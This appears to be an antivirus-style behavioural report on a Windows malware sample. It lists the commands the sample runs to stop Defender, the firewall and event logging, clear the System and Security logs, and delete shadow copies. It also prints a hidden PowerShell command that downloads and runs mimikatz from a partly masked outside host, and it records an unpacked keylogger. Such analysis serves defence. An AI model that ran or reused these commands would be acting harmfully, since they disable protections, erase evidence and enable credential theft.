Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SecurityHealthService] 'Start' = '00000001'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\wscsvc] 'start' = '00000001'
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\net.exe' stop "wuauserv"
- '%WINDIR%\syswow64\net.exe' stop "wscsvc"
- '%WINDIR%\syswow64\net.exe' stop "Sense"
- '%WINDIR%\syswow64\net.exe' stop "WdNisSvc"
- '%WINDIR%\syswow64\net.exe' stop "WinDefend"
- '%WINDIR%\syswow64\net.exe' stop "mpssvc"
- '%WINDIR%\syswow64\net.exe' stop "EventLog"
- '%WINDIR%\syswow64\net.exe' stop "SDRSVC"
- '%WINDIR%\syswow64\net.exe' stop "SecurityHealthService"
Downloads
- http://12#.##7.85.166:8080/malware/mimikatz.exe
Modifies file system
Creates the following files
- %TEMP%\nsh77ee.tmp
- C:\users\default\appdata\roaming\malware.bat
- %TEMP%\nsm780e.tmp\nsisdl.dll
- %TEMP%\nsm780e.tmp\nsexec.dll
Deletes the following files
- %TEMP%\nsm780e.tmp\nsexec.dll
- %TEMP%\nsm780e.tmp\nsisdl.dll
Network activity
Connects to
- '12#.#77.85.166':8080
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' schtasks /DELETE /TN gimotti /F' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "wuauserv"' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "wscsvc"' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "Sense"' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "WdNisSvc"' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "WinDefend"' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "mpssvc"' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "EventLog"' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "SDRSVC"' (with hidden window)
- '%WINDIR%\syswow64\net.exe' stop "SecurityHealthService"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c C:\Users\Default\AppData\Roaming\malware.bat
- '%WINDIR%\syswow64\sc.exe' config EventLog start= disabled
- '%WINDIR%\syswow64\wevtutil.exe' clear-log System
- '%WINDIR%\syswow64\wevtutil.exe' clear-log Security
- '%WINDIR%\syswow64\wevtutil.exe' clear-log Application
- '%WINDIR%\syswow64\net1.exe' stop "SecurityHealthService"
- '%WINDIR%\syswow64\net1.exe' stop "SDRSVC"
- '%WINDIR%\syswow64\net1.exe' stop "EventLog"
- '%WINDIR%\syswow64\net1.exe' stop "mpssvc"
- '%WINDIR%\syswow64\net1.exe' stop "WinDefend"
- '%WINDIR%\syswow64\net1.exe' stop "WdNisSvc"
- '%WINDIR%\syswow64\net1.exe' stop "Sense"
- '%WINDIR%\syswow64\net1.exe' stop "wscsvc"
- '%WINDIR%\syswow64\net1.exe' stop "wuauserv"
- '%WINDIR%\syswow64\cmd.exe' schtasks /DELETE /TN gimotti /F
- '%WINDIR%\syswow64\cmd.exe' /c powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://12#.##7.85.166:8080/Malware/mimikatz.exe')"
- '<SYSTEM32>\vssvc.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Expand-Archive -LiteralPath '%WINDIR%\Temp\key.zip' -DestinationPath '<SYSTEM32>\keylogger\'
